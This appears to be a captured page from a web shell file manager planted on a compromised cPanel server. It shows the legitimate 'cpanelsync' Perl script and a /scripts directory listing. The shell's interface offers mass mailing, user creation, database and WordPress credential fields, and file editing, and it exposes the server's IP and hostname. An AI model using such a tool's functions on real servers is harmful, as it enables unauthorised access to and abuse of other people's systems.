System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
scripts
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
cpanelsync
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/cpanelsync Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited package Scripts::cpanelsync; ## "grep '###' cpanelsync" gives an overview of the logic and files downloaded BEGIN { my $running_in_debugger = exists $INC{'perl5db.pl'}; if ($running_in_debugger) { $ENV{'LANG'} = 'C'; } if ( defined $ENV{'LANG'} && $ENV{'LANG'} ne 'C' && !$^C ) { $ENV{'LANG'} = 'C'; exec $0, @ARGV; die 'Failed to recreate self in a sane env'; } } use strict; use warnings; use Socket; use Cpanel::Tar (); use Cpanel::HttpRequest (); use Cpanel::SafeDir::MK (); use Cpanel::Sync::Common (); use Cpanel::Sync::Digest (); use Cpanel::Usage (); use Cpanel::Crypt::GPG::Settings (); exit __PACKAGE__->script(@ARGV) unless caller(); sub script { my ( $package, @argv ) = @_; local $| = 1; $SIG{'INT'} = 'IGNORE'; my ( $exit_code, $options, $host, $url, $root ) = _parse_argv( \@argv ); if ( defined $exit_code ) { return $exit_code; } else { $exit_code = 0; } eval { no warnings; local $SIG{'__DIE__'}; local $SIG{'__WARN__'}; require Cpanel::Carp; local $SIG{'__DIE__'}; local $SIG{'__WARN__'}; Cpanel::Carp::enable(); $Cpanel::Carp::OUTPUT_FORMAT = 'suppress'; }; # setup httpclient with keyring my $httpClient = Cpanel::HttpRequest->new( categories => $options->{categories}, vendor => $options->{vendor}, hideOutput => $options->{quiet}, ); if ( !-d $root ) { Cpanel::SafeDir::MK::safemkdir( $root, '0755', 2 ); if ( !-d $root ) { die "Unable to create directory $root"; } } _wait_for_mirror_lock( $httpClient, $host, $url, $options ); ### "$url/.cpanelsync.version", if ( $options->{repo} ) { # The intent with the unchecked exit code is apparently that the repo version needs to # be updated at the start of the cpanelsync run so that it can be compared to the state # at the end of the cpanelsync run. $exit_code = check_repo_version( $options->{repo}, $httpClient, $host, $url ); } my $dotcpanelsync = "$root/.cpanelsync"; my %OLDFILES; my %NEWFILES; if ( !-e $dotcpanelsync ) { ### ## if .cpanelsync does not exist, download/extract the .tar.bz2 my $basedir = $root; my @DIRS = split m{ [/] }xms, $basedir; pop @DIRS; $basedir = join '/', @DIRS; my $basename = $url; my @BDIR = split m{ [/] }xms, $basename; $basename = pop @BDIR; if ( $basedir eq '' ) { $basedir = '/'; } my $tarball = "$basedir/$basename.tar"; my $bz2 = "$tarball.bz2"; unlink $bz2; ### "http://${host}${url}.tar.bz2" if ( eval { downloadfile( $httpClient, "http://${host}${url}.tar.bz2", $bz2, $options->{signed} ) } ) { my $tarcfg = Cpanel::Tar::load_tarcfg(); system( $tarcfg->{'bin'}, '-x', '-p', $tarcfg->{'no_same_owner'}, '-j', '-v', '-C', $basedir, '-f', $bz2 ); unlink $bz2; } ## TODO?: take the md5sums of the new files, and manipulate %OLDFILES (or %MD5LIST?) } else { if ( open my $cpsync_fh, '<', $dotcpanelsync ) { no warnings; # we will discard undef in our delete local $/; %OLDFILES = map { reverse( ( split( /===/, $_ ) )[ 0, 1 ] ) } split( /\n/, readline($cpsync_fh) ); delete @OLDFILES{''}; $OLDFILES{'.'} = 'd'; close $cpsync_fh; } } my @FILELIST; my $trycount = 0; my $usebz2 = 1; my $skipbz2 = 0; # Download file list to sync while (1) { ### $trycount++; if ( $trycount % 2 == 0 ) { $usebz2 = 0; } else { $usebz2 = 1; } my $target_url = "${url}/.cpanelsync"; my $staged_destfile = "${dotcpanelsync}.staged"; my $download_destfile = $staged_destfile; if ( !$skipbz2 && $usebz2 ) { $target_url .= '.bz2'; $download_destfile .= '.bz2'; } eval { $httpClient->request( 'host' => $host, 'url' => $target_url, 'protocol' => 1, 'destfile' => $download_destfile, 'signed' => $options->{signed} ); }; # Note: signed requests will automatically unbzip the target to verify signatures if ( !$@ && -e $staged_destfile ) { if ( rename( $staged_destfile, $dotcpanelsync ) ) { if ( open( my $cpanelsync_fh, $dotcpanelsync ) ) { local $/; @FILELIST = split( /\n/, readline($cpanelsync_fh) ); close($cpanelsync_fh); } } else { print "Failed to overwrite $dotcpanelsync: $!\n"; } } if ( -e "$dotcpanelsync.bz2" ) { unlink "$dotcpanelsync.bz2"; $skipbz2 = 1; } last if ( @FILELIST && $FILELIST[-1] eq '.' ); if ( $trycount > 1 ) { if ( $trycount == 10 ) { print "Tried to download the sync file 10 times and failed!\n"; return 1; } downloadfailed($httpClient); } } # Global excludes for handling excluded files from update or permission checks my @excludes = Cpanel::Sync::Common::get_excludes($Cpanel::Sync::Common::cpanelsync_excludes); my @chmod_excludes = Cpanel::Sync::Common::get_excludes($Cpanel::Sync::Common::cpanelsync_chmod_excludes); my %MD5LIST; loadmd5s( \%MD5LIST, $root ) if -e "$dotcpanelsync.md5s"; my @allowed_digests = Cpanel::Crypt::GPG::Settings::allowed_digest_algorithms(); foreach my $fileinfo (@FILELIST) { ### chomp $fileinfo; next if ( $fileinfo eq '.' ); ## note: appending 'r' to these vars to denote that they represent info on the ## remote (incoming) resource. Ideally, they should be packaged in a hash, ## similar to how $target is handled. ## $rextra is either an md5 for 'file' $ftype, or symlink destination ## $rsha is only valid for 'file' types, and will contain a SHA512 digest for the file. my ( $rtype, $rfile, $rperm, $rextra, $rsha ) = split( /===/, $fileinfo ); my $target_info = lstat_target( $root, $rfile ); ## using %04d as $rperm is a string (comes from the .cpanelsync file) $rperm = sprintf( "%04d", $rperm ); prune_OLDFILES( \%OLDFILES, $rfile, $rtype ); next if ( @excludes && is_excluded( \@excludes, $root, $rfile ) ); if ( $rtype eq 'f' ) { $exit_code = handle_file( $target_info, \%MD5LIST, $root, $rfile, $rextra, $rsha, \@allowed_digests, $skipbz2, $httpClient, $host, $url, $Cpanel::Sync::Common::hasbzip2, $exit_code, $options->{repo}, \@chmod_excludes, $rperm, \%NEWFILES ); return $exit_code if ( $exit_code != 0 ); } elsif ( $rtype eq 'd' ) { handle_dir( $target_info, \@chmod_excludes, $root, $rfile, $rperm ); } elsif ( $rtype eq 'l' ) { handle_symlink( $target_info, $rextra ); } } my $saferoot = $root; $saferoot =~ s/\.\///g; handle_deletes( \@FILELIST, \%OLDFILES, $saferoot ); write_newlist( \%NEWFILES, $saferoot ); writemd5s( \%MD5LIST, $saferoot ); ### "$url/.cpanelsync.version", if ( $exit_code == 0 && $options->{repo} ) { $exit_code = check_repo_version( $options->{repo}, 0, $httpClient, $host, $url ); } if ( -x '/usr/local/cpanel/scripts/cpanelsync_postprocessor' ) { system '/usr/local/cpanel/scripts/cpanelsync_postprocessor', $saferoot; } if ( -x '/usr/local/cpanel/scripts/cpanelsync_postprocessor.custom' ) { system '/usr/local/cpanel/scripts/cpanelsync_postprocessor.custom', $saferoot; } return $exit_code; } sub downloadfile { my ( $httpClient, $file, $where, $signed ) = @_; $file =~ m!http://([^/]+)(.*)!; my $host = $1; my $url = $2; $httpClient->request( 'host' => $1, 'url' => $2, 'protocol' => 1, 'destfile' => $where, 'signed' => $signed, ); } sub loadmd5s { my ( $hr_MD5LIST, $dir ) = @_; if ( open( my $md5_fh, '<', $dir . '/.cpanelsync.md5s' ) ) { local $/; %{$hr_MD5LIST} = map { $_ = [ split( /:::/, $_, 4 ) ]; $_->[0] => { 'size' => $_->[1], 'mtime' => $_->[2], 'md5' => $_->[3] } } split( /\n/, readline($md5_fh) ); close($md5_fh); } return; } sub write_newlist { my ( $hr_NEWFILES, $dir ) = @_; $dir =~ s/\/$//g; open( my $new_fh, '>', $dir . '/.cpanelsync.new' ) || do { warn "Could not write new list: " . $dir . '/.cpanelsync.new'; return; }; print {$new_fh} join( "\n", keys %$hr_NEWFILES ) . ( scalar keys %$hr_NEWFILES ? "\n" : '' ); # as we did before close($new_fh); } sub writemd5s { my ( $hr_MD5LIST, $dir ) = @_; $dir =~ s/\/$//g; open( MD5, '>', $dir . '/.cpanelsync.md5s' ) || do { warn "Could not write md5 cache: " . $dir . '/.cpanelsync.md5s'; return; }; foreach my $filename ( keys %$hr_MD5LIST ) { next if ( !$hr_MD5LIST->{$filename}{'used'} || substr( $filename, 0, 1 ) eq '/' ); print MD5 join( ':::', $filename, $hr_MD5LIST->{$filename}{'size'}, $hr_MD5LIST->{$filename}{'mtime'}, $hr_MD5LIST->{$filename}{'md5'} ) . "\n"; } close(MD5); } sub downloadfailed { my ($httpClient) = @_; print 'Download Failed... trying again...in..'; if ($httpClient) { $httpClient->disconnect(); } my $sleepsecs = 60; for ( my $i = $sleepsecs; $i > 0; $i-- ) { print '..' . $i . '..'; sleep 1; } } sub check_repo_version { my ( $repo, $httpClient, $host, $url ) = @_; my $local_repo_v; if ( !-e '/var/cpanel' ) { mkdir( '/var/cpanel', 0755 ); } if ( !-e '/var/cpanel/cpanelsync' ) { mkdir( '/var/cpanel/cpanelsync', 0755 ); } if ( !-e '/var/cpanel/cpanelsync/repoversions' ) { mkdir( '/var/cpanel/cpanelsync/repoversions', 0755 ); } my $repo_fh; open( $repo_fh, '<', '/var/cpanel/cpanelsync/repoversions/' . $repo ) && do { $local_repo_v = readline($repo_fh); chomp($local_repo_v); close($repo_fh); }; my ( $remote_repo_v, $status ) = $httpClient->request( 'exitOn404' => 0, 'host' => $host, 'url' => "$url/.cpanelsync.version", 'protocol' => 1, ); if ($remote_repo_v) { if ( !$local_repo_v || $remote_repo_v ne $local_repo_v ) { open( my $repo_fh, '>', '/var/cpanel/cpanelsync/repoversions/' . $repo ); print {$repo_fh} $remote_repo_v; close($repo_fh); if ($local_repo_v) { print "Repo: $repo : version changed from $local_repo_v to $remote_repo_v in mid sync. Sync needs to be restarted.\n"; return 16; } else { print "Repo: $repo : learned new version: $remote_repo_v\n"; } } else { print "Repo: $repo : check passed : local=$local_repo_v & remote=$remote_repo_v\n"; } } return 0; } sub is_excluded { my ( $ar_excludes, $root, $rfile ) = @_; if ( @{$ar_excludes} ) { my $clean_rfile = $rfile; $clean_rfile =~ s!^\./!!; my $absfile = $root . '/' . $clean_rfile; $absfile =~ tr{/}{}s; $absfile =~ s{ [/] \z }{}xmsg; ## Note: to take advantage of the "implicit" exclusion of a directory's contents, as written ## the explicitly listed exclude directory must exist at the installation site. if ( grep { $_ eq $absfile || ( -d $_ && $absfile =~ m/^\Q$_\E\// ) } @{$ar_excludes} ) { print "Skipping sync of $absfile (check /etc/cpanelsync.exclude)\n"; return 1; } ## Maintain support for old broken behavior -------------- $absfile = $root . '/' . $rfile; $absfile =~ tr{/}{}s; $absfile =~ s{ [/] \z }{}xmsg; if ( grep { $_ eq $absfile } @{$ar_excludes} ) { print "Skipping sync of $absfile (check /etc/cpanelsync.exclude)\n"; return 1; } ## ------------------------------------------------------- } return; } sub in_chmod_excludes { my ( $ar_chmod_excludes, $root, $rfile ) = @_; if (@$ar_chmod_excludes) { my $clean_rfile = $rfile; $clean_rfile =~ s/^\.\///; my $absfile = $root . '/' . $clean_rfile; $absfile =~ tr{/}{}s; $absfile =~ s{ [/] \z }{}xmsg; return 1 if ( grep { $_ eq $absfile } @$ar_chmod_excludes ); } return; } sub handle_symlink { my ( $target, $rextra ) = @_; my $dolink = 0; if ( !$target->{'exists'} ) { $dolink = 1; } elsif ( $target->{'islnk'} ) { if ( readlink $target->{'path'} ne $rextra ) { unlink $target->{'path'}; $dolink = 1; } } elsif ( $target->{'isnormfile'} ) { unlink $target->{'path'}; $dolink = 1; } elsif ( $target->{'isdir'} ) { system 'rm', '-rf', '--', $target->{'path'}; $dolink = 1; } if ($dolink) { if ( symlink( $rextra, $target->{'path'} ) ) { print "Created symlink $target->{'path'} -> $rextra successfully\n"; } else { print "Failed to create symlink $target->{'path'} -> $rextra: $!\n"; } } return; } sub handle_dir { my ( $target, $ar_chmod_excludes, $root, $rfile, $rperm ) = @_; ## note: $rperm is an octal string (e.g. '0751') if ( $target->{'islnk'} || $target->{'isnormfile'} ) { unlink $target->{'path'}; $target->{'exists'} = 0; } if ( !$target->{'exists'} ) { ## FIX: used to be created with a hardcoded mode of '0755'. The only case this ## will not account for is a new directory that is also in chmod_excludes. I believe ## this to be a very edge case. if ( Cpanel::SafeDir::MK::safemkdir( $target->{'path'}, $rperm, 2 ) ) { print "Created directory $target->{'path'} successfully\n"; } } elsif ( ( !@$ar_chmod_excludes || !in_chmod_excludes( $ar_chmod_excludes, $root, $rfile ) ) && sprintf( "%04o", ( $target->{'perm'} & 07777 ) ) ne $rperm ) { if ( chmod( oct($rperm), $target->{'path'} ) ) { print "Directory $target->{'path'} verified\n"; } else { print "Failed to update permissions on directory $target->{'path'}: $!"; } } } sub handle_file { ### my ( $target, $hr_MD5LIST, $root, $rfile, $rextra, $rsha, $allowed_digests_ar, $skipbz2, $httpClient, $host, $url, $hasbzip2, $exit_code, $repo, $ar_chmod_excludes, $rperm, $newfiles_ref ) = @_; if ( $target->{'isdir'} ) { system 'rm', '-rf', '--', $target->{'path'}; } elsif ( $target->{'islnk'} ) { unlink $target->{'path'}; } my $local_digest = Cpanel::Sync::Common::get_digest_from_cache( $hr_MD5LIST, $target ); $local_digest ||= Cpanel::Sync::Digest::digest( $target->{'path'} ); if ( ( $target->{'isdir'} || $target->{'islnk'} || !$target->{'exists'} ) || ( $local_digest ne $rextra ) ) { my $dfile = $rfile; $dfile =~ s/^\.//g; my $trycount = 0; my $goodfile = 1; my $usebz2 = 1; my $pathtemp = $target->{'path'} . '-cpanelsync'; DOWNLOAD: while (1) { ### $trycount++; if ( $trycount % 2 == 0 ) { $usebz2 = 0; } else { $usebz2 = 1; } unlink($pathtemp); ### "http://${host}${url}${dfile}.bz2" -or- ### "http://${host}${url}${dfile}" if ( !$skipbz2 && $usebz2 && $dfile !~ m/\.bz2$/ ) { downloadfile( $httpClient, "http://${host}${url}${dfile}.bz2", "$pathtemp.bz2" ); my $size = ( stat("$pathtemp.bz2") )[7]; if ( $size && $size > 0 ) { Cpanel::Sync::Common::unbzip2("$pathtemp.bz2"); } if ( -e "$pathtemp.bz2" ) { ## TODO: meaning what exactly? test with dashk ### TODO: I have no idea myself. Maybe someone else will figure it out. print "$pathtemp.bz2 still exists\n"; unlink "$pathtemp.bz2"; $skipbz2 = 1; next; } } else { downloadfile( $httpClient, "http://${host}${url}${dfile}", $pathtemp ); } my $size = ( stat( $rfile . '-cpanelsync' ) )[7] || 0; my %expected_digests = ( 'md5' => $rextra, 'sha512' => $rsha, ); for my $algo (@$allowed_digests_ar) { my $expected_digest = $expected_digests{$algo}; my $real_digest = Cpanel::Sync::Digest::digest( $target->{'path'} . '-cpanelsync', { algo => $algo } ); if ( $real_digest && $expected_digest ) { if ( $real_digest eq $expected_digest ) { last DOWNLOAD; } else { print "Digest mismatch (actual: $real_digest) (expected: $expected_digest) (size: $size)\n"; } } } print "No valid digest found\n"; if ( $trycount > 1 ) { if ( $trycount % 3 == 0 ) { $httpClient->skiphost(); } if ( $trycount == 10 ) { print "Tried to download the file $rfile 10 times and failed!\n"; if ($repo) { return 16; } $goodfile = 0; last; } ### "$url/.cpanelsync.version", if ($repo) { $exit_code = check_repo_version( $repo, 0, $httpClient, $host, $url ); if ( $exit_code != 0 ) { return $exit_code; } } downloadfailed($httpClient); } } if ($goodfile) { print "Got file $rfile ok (digest matched)\n"; _goodfile_handle_chmod( $ar_chmod_excludes, $root, $rfile, $target->{'perm'}, $pathtemp, $rperm ); _goodfile_handle_rename( $target->{'path'} ); $newfiles_ref->{ $target->{'path'} } = 1; $hr_MD5LIST->{$rfile} = $hr_MD5LIST->{ $rfile . '-cpanelsync' }; delete $hr_MD5LIST->{ $rfile . '-cpanelsync' }; } else { unlink $pathtemp; } } else { if ( ( !@$ar_chmod_excludes || !in_chmod_excludes( $ar_chmod_excludes, $root, $rfile ) ) && $target->{'exists'} && ( sprintf( "%04o", ( $target->{'perm'} & 07777 ) ) ne $rperm ) ) { chmod( oct($rperm), $target->{'path'} ); } } return 0; } sub _goodfile_handle_chmod { my ( $ar_chmod_excludes, $root, $rfile, $origperm, $pathtemp, $rperm ) = @_; ## if file matches the chmod exclude list, chmod the new temp file with ## the mode from the old file if ( @$ar_chmod_excludes && in_chmod_excludes( $ar_chmod_excludes, $root, $rfile ) && $origperm ) { my $real_origperm = sprintf( "%04o", ( $origperm & 07777 ) ); chmod( oct($real_origperm), $pathtemp ); } else { chmod( oct($rperm), $pathtemp ); } } sub _goodfile_handle_rename { my ($path) = @_; unlink $path; if ( -e $path ) { if ( rename( $path, $path . '.unlink' ) ) { unlink $path . '.unlink'; } else { unlink $path; } } ## the "rename || unlink" clause ideally should warn the user that the file did not make it to ## its production location. but this, as this runs as root, is hard-to-replicate. rename( $path . '-cpanelsync', $path ) || unlink( $path . '-cpanelsync' ); return; } sub prune_OLDFILES { my ( $hr_OLDFILES, $rfile, $rtype ) = @_; if ( exists $hr_OLDFILES->{$rfile} ) { # Handle transition from directory to a symlink if ( $rtype eq 'l' && $hr_OLDFILES->{$rfile} ne 'l' ) { foreach my $old_file ( keys %$hr_OLDFILES ) { ## delete from hash all subdirs of $rfile, which is becoming a link if ( $old_file =~ m/^\Q$rfile\E\// ) { delete $hr_OLDFILES->{$old_file}; } } } delete $hr_OLDFILES->{$rfile}; } return; } sub handle_deletes { my ( $ar_FILELIST, $hr_OLDFILES, $saferoot ) = @_; my @olddirectories; my %EXCLUDE_DELETE; if ( -e $saferoot . '/.cpanelsync.delete.exclude' && open( my $exc_fh, '<', $saferoot . '/.cpanelsync.delete.exclude' ) ) { %EXCLUDE_DELETE = map { chomp($_); $_ => undef } (<$exc_fh>); close($exc_fh); } ## note: loop on @FILELIST to prevent mass deletion on an inadvertantly empty .cpanelsync if ( scalar @$ar_FILELIST ) { ## adding 'sort' to guarantee an order for keys() foreach my $oldfile ( sort keys %$hr_OLDFILES ) { $oldfile =~ s/^\.\///g; my @BASEDIR = split( /\//, $saferoot . '/' . $oldfile ); pop(@BASEDIR); my $basedir = join( '/', @BASEDIR ); if ( -l $basedir ) { print "Skipping cleanse of $saferoot/$oldfile (within symlinked directory)\n"; next; } if ( exists $EXCLUDE_DELETE{ $saferoot . '/' . $oldfile } ) { print "Excluding file removal from previous tree: $saferoot/$oldfile\n"; next; } if ( -l $saferoot . '/' . $oldfile ) { ## ???: what sets the .keep files? next if -e $saferoot . '/' . $oldfile . '.keep'; print "Removing symlink from previous tree: $saferoot/$oldfile\n"; unlink $saferoot . '/' . $oldfile or print "Unable to remove deprecated symlink $saferoot/$oldfile: $!\n"; } elsif ( -d $saferoot . '/' . $oldfile ) { push @olddirectories, $saferoot . '/' . $oldfile; } elsif ( -e _ ) { ## ???: what sets the .keep files? next if -e $saferoot . '/' . $oldfile . '.keep'; print "Removing file from previous tree: $saferoot/$oldfile\n"; unlink $saferoot . '/' . $oldfile or print "Unable to remove deprecated file $saferoot/$oldfile: $!\n"; } } } foreach my $dir ( reverse sort @olddirectories ) { print "Removing directory from previous tree: $dir\n"; rmdir $dir or print "Unable to remove deprecated directory $dir: $!\n"; } return; } sub lstat_target { my ( $root, $rfile ) = @_; my %target; $target{'path'} = $root . '/' . $rfile; $target{'path'} =~ s/^\.\///; $target{'path'} =~ s/\/(?:\.\/)+/\//g; $target{'path'} =~ s/\/{2,}/\//g; my @_lstat = lstat( $target{'path'} ); ## two slices to assign @_lstat indexes into %target #'S_IFDIR', 0040000 == Directory #'S_IFREG', 0100000 == Regular file #'S_IFLNK', 0120000 == Symbolic link @target{ 'perm', 'size', 'mtime', 'isdir', 'exists', 'isnormfile', 'islnk' } = ( @_lstat[ 2, 7, 9 ], #perm,size,mtime ( defined $_lstat[2] && $_lstat[2] & 0170000 ) == 0040000 ? 1 : 0, #isdir defined $_lstat[2] ? 1 : 0, #exists ( defined $_lstat[2] && $_lstat[2] & 0170000 ) == 0100000 ? 1 : 0, #isnormfile ( defined $_lstat[2] && $_lstat[2] & 0170000 ) == 0120000 ? 1 : 0 #islnk ); return \%target; } sub _usage { print <<EO_USAGE; Usage: cpanelsync [options] <host> [url] [root] Options: --help Brief help message --nfok=[1|0] Exit on a 404 response from the mirror. Defaults off. --repo=<name> Treats the sync source as a named repo that supports versioning. --signed=[1|0] Enforce GPG signature verificaiton for the .cpanelsync files. --vendor=<name> Specifies the vendor to use with GPG signature verification. Defaults to 'cpanel' --categories=<name> Specifies the vendor keyring to use with GPG signature verification. Defaults based on the globally configured TweakSetting. --quiet=1 Suppress HttpRequest output. Arguments: host The mirror to download from. Normally httpupdate.cpanel.net url The mirror URL that represents the base of the cpanelsync repo. Defaults to '/' root The local directory that is being synced. Defaults to '/'. Notes: This script no longer supports syncing directly against named cPanel tier targets such as RELEASE or STABLE. The cPanel update system in all releases after 11.30 uses a separate cpanelsync v2 system and should be updated using upcp or updatenow. EO_USAGE return 1; } sub _parse_argv { my $argv_ar = shift; my %options = ( nfok => 0, repo => undef, signed => 0, categories => undef, vendor => undef, help => 0, quiet => 0, ); my $usage_flags = {}; foreach my $option_name ( keys %options ) { $usage_flags->{$option_name} = \$options{$option_name}; } my $help_called = 0; my $usage_cr = sub { $help_called = 1; _usage(); }; Cpanel::Usage::wrap_options( { remove => 1 }, $argv_ar, $usage_cr, $usage_flags ); return 0 if ($help_called); if ( $argv_ar->[0] && $argv_ar->[0] =~ m/404/ ) { $options{nfok} = 1; shift @$argv_ar; } my $host = $argv_ar->[0] || ''; my $url = $argv_ar->[1] || '/'; my $root = $argv_ar->[2] || '/'; if ( !$host || $host eq '' ) { return _usage(); } # Block accidental legacy use of cpanelsync to sync /scripts /usr/local/cpanel paths # Only block if coming from cpanel servers so we don't break 3rd party addons if ( $host =~ m{^httpupdate\w*.cpanel.net$}i && $url =~ m{^/cpanelsync/(BETA|CURRENT|DEMO|DNSONLY|EDGE|RELEASE|STABLE)} ) { print "The use of cpanelsync to sync /scripts and/or most /usr/local/cpanel trees is unsupported in 11.30+\n"; print "Please run /usr/local/cpanel/scripts/upcp --force instead.\n"; return 1; } return ( undef, \%options, $host, $url, $root ); } sub _wait_for_mirror_lock { my ( $httpClient, $host, $url, $options ) = @_; my $lock = 'locked'; my $sleep = 30; my $lock_count = 0; my $trycount = 0; # Check for Locked file ### "$url/.cpanelsync.lock", while ( $lock =~ m/locked/i ) { # Unsigned request: no trust anchor, content is not sensitive my ( $lock, $status ) = $httpClient->request( 'exitOn404' => $options->{nfok}, 'host' => $host, 'url' => "$url/.cpanelsync.lock", #http 1.1 on the first request, but drop the connection on the #second one to not tie up the server 'protocol' => ( $lock_count == 0 ? 1 : 0 ) ); return 0 if ( $status == 0 ); last if ( !$lock || $lock !~ m/locked/i ); $lock_count++; if ( $lock_count > 20 ) { $sleep += 30; } elsif ( $lock_count == 20 ) { $sleep = 120; } print "The update server is currently updating its files.\n"; print "It may take up to 30 minutes before access can be obtained.\n"; print "Waiting $sleep seconds for access to the update server......\n"; $httpClient->disconnect(); #do not leave the connection open if ( ++$trycount % 30 == 0 ) { $httpClient->skiphost(); } sleep $sleep; print "Checking again....\n"; } return; } 1;
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-10-26 11:00:34
..
DIR
-
drwx--x--x
2025-10-26 11:27:15
cpan_sandbox
DIR
-
drwxr-xr-x
2024-03-04 05:44:29
php_sandbox
DIR
-
drwxr-xr-x
2024-03-04 05:44:29
MirrorSearch_pingtest
text/x-perl
2.38 KB
-rwxr-xr-x
2024-03-04 05:44:29
activesync-invite-reply
text/x-perl
1.69 KB
-rwxr-xr-x
2024-03-04 05:44:29
add_dns
text/x-perl
2.36 KB
-rwxr-xr-x
2024-03-04 05:44:29
adddns
text/x-perl
2.36 KB
-rwxr-xr-x
2024-03-04 05:44:29
addpop
text/x-perl
6.08 KB
-rwxr-xr-x
2024-03-04 05:44:29
addsystemuser
text/x-perl
3.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
adduser
text/x-perl
92 B
-rwxr-xr-x
2024-03-04 05:44:29
agent360.sh
16.03 KB
-rwx------
2025-09-17 09:17:37
apachelimits
text/x-perl
4.31 KB
-rwxr-xr-x
2024-03-04 05:44:29
archive_sync_zones
text/x-perl
3.05 KB
-rwxr-xr-x
2024-03-04 05:44:29
auto-adjust-mysql-limits
text/x-perl
1.81 KB
-rwxr-xr-x
2024-03-04 05:44:29
autorepair
text/x-perl
1.24 KB
-rwxr-xr-x
2024-03-04 05:44:29
backups_clean_metadata_for_missing_backups
text/x-perl
1.57 KB
-rwxr-xr-x
2024-03-04 05:44:29
backups_create_metadata
text/x-perl
15.75 KB
-rwxr-xr-x
2024-03-04 05:44:29
backups_list_user_files
text/x-perl
4.56 KB
-rwxr-xr-x
2024-03-04 05:44:29
balance_linked_node_quotas
text/x-perl
2.58 KB
-rwxr-xr-x
2024-03-04 05:44:29
biglogcheck
text/x-perl
1.69 KB
-rwxr-xr-x
2024-03-04 05:44:29
build_bandwidthdb_root_cache_in_background
text/x-perl
1.52 KB
-rwxr-xr-x
2024-03-04 05:44:29
build_cpnat
text/x-perl
3.41 KB
-rwxr-xr-x
2024-03-04 05:44:29
build_mail_sni
text/x-perl
3.87 KB
-rwxr-xr-x
2024-03-04 05:44:29
build_maxemails_config
text/x-perl
1.14 KB
-rwxr-xr-x
2024-03-04 05:44:29
builddovecotconf
text/x-perl
6.76 KB
-rwxr-xr-x
2024-03-04 05:44:29
buildeximconf
text/x-perl
7 KB
-rwxr-xr-x
2024-03-04 05:44:29
buildhttpdconf
text/x-perl
2.6 KB
-rwxr-xr-x
2024-03-04 05:44:29
buildpureftproot
text/x-perl
539 B
-rwxr-xr-x
2024-03-04 05:44:29
ccs-check
text/x-perl
4.91 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_cpanel_pkgs
text/x-perl
10.75 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_domain_tls_service_domains.pl
text/x-perl
6.68 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_immutable_files
text/x-perl
5.49 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_mail_spamassassin_compiledregexps_body_0
text/x-perl
187 B
-rwxr-xr-x
2024-03-04 05:44:29
check_maxmem_against_domains_count
text/x-perl
3.57 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_mount_procfs
text/x-perl
2.02 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_mysql
text/x-perl
5.56 KB
-rwxr-xr-x
2024-12-10 10:57:18
check_plugin_pkgs
text/x-perl
2.45 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_security_advice_changes
text/x-perl
8.28 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_unmonitored_enabled_services
text/x-perl
4.56 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_unreliable_resolvers
text/x-perl
3.59 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_users_my_cnf
text/x-perl
6.05 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_valid_server_hostname
text/x-perl
7.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
checkalldomainsmxs
text/x-perl
2.4 KB
-rwxr-xr-x
2024-03-04 05:44:29
checkbashshell
text/x-perl
1.18 KB
-rwxr-xr-x
2024-03-04 05:44:29
checkccompiler
text/x-perl
1.22 KB
-rwxr-xr-x
2024-03-04 05:44:29
checkexim.pl
text/x-perl
3.1 KB
-rwxr-xr-x
2024-03-04 05:44:29
checklink
text/x-perl
1.29 KB
-rwxr-xr-x
2024-03-04 05:44:29
checkusers
text/x-perl
856 B
-rwxr-xr-x
2024-03-04 05:44:29
chkpaths
text/x-perl
141 B
-rwxr-xr-x
2024-03-04 05:44:29
chpass
text/x-perl
416 B
-rwxr-xr-x
2024-03-04 05:44:29
ckillall
text/x-perl
1.11 KB
-rwxr-xr-x
2024-03-04 05:44:29
clean_dead_mailman_locks
text/x-perl
2.09 KB
-rwxr-xr-x
2024-03-04 05:44:29
clean_up_temp_wheel_users
text/x-perl
2.44 KB
-rwxr-xr-x
2024-03-04 05:44:29
clean_user_php_sessions
text/x-perl
4.76 KB
-rwxr-xr-x
2024-03-04 05:44:29
cleandns
text/x-perl
13.11 KB
-rwxr-xr-x
2024-03-04 05:44:29
cleandns8
text/x-perl
417 B
-rwxr-xr-x
2024-03-04 05:44:29
cleanmsglog
text/x-perl
735 B
-rwxr-xr-x
2024-03-04 05:44:29
cleanphpsessions
text/x-perl
932 B
-rwxr-xr-x
2024-03-04 05:44:29
cleanphpsessions.php
text/x-php
658 B
-rw-r--r--
2024-03-04 05:44:29
cleanquotas
text/x-perl
1.61 KB
-rwxr-xr-x
2024-03-04 05:44:29
cleansessions
text/x-perl
5.89 KB
-rwxr-xr-x
2024-03-04 05:44:29
cleanupinterchange
text/x-perl
2.64 KB
-rwxr-xr-x
2024-03-04 05:44:29
cleanupmysqlprivs
text/x-shellscript
773 B
-rwxr-xr-x
2025-02-24 10:57:16
clear_cpaddon_ui_caches
text/x-perl
1.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
clear_orphaned_virtfs_mounts
text/x-perl
3.56 KB
-rwxr-xr-x
2024-03-04 05:44:29
comparecdb
text/x-perl
1.52 KB
-rwxr-xr-x
2024-03-04 05:44:29
compilers
text/x-perl
2.86 KB
-rwxr-xr-x
2024-03-04 05:44:29
compilerscheck
text/x-perl
999 B
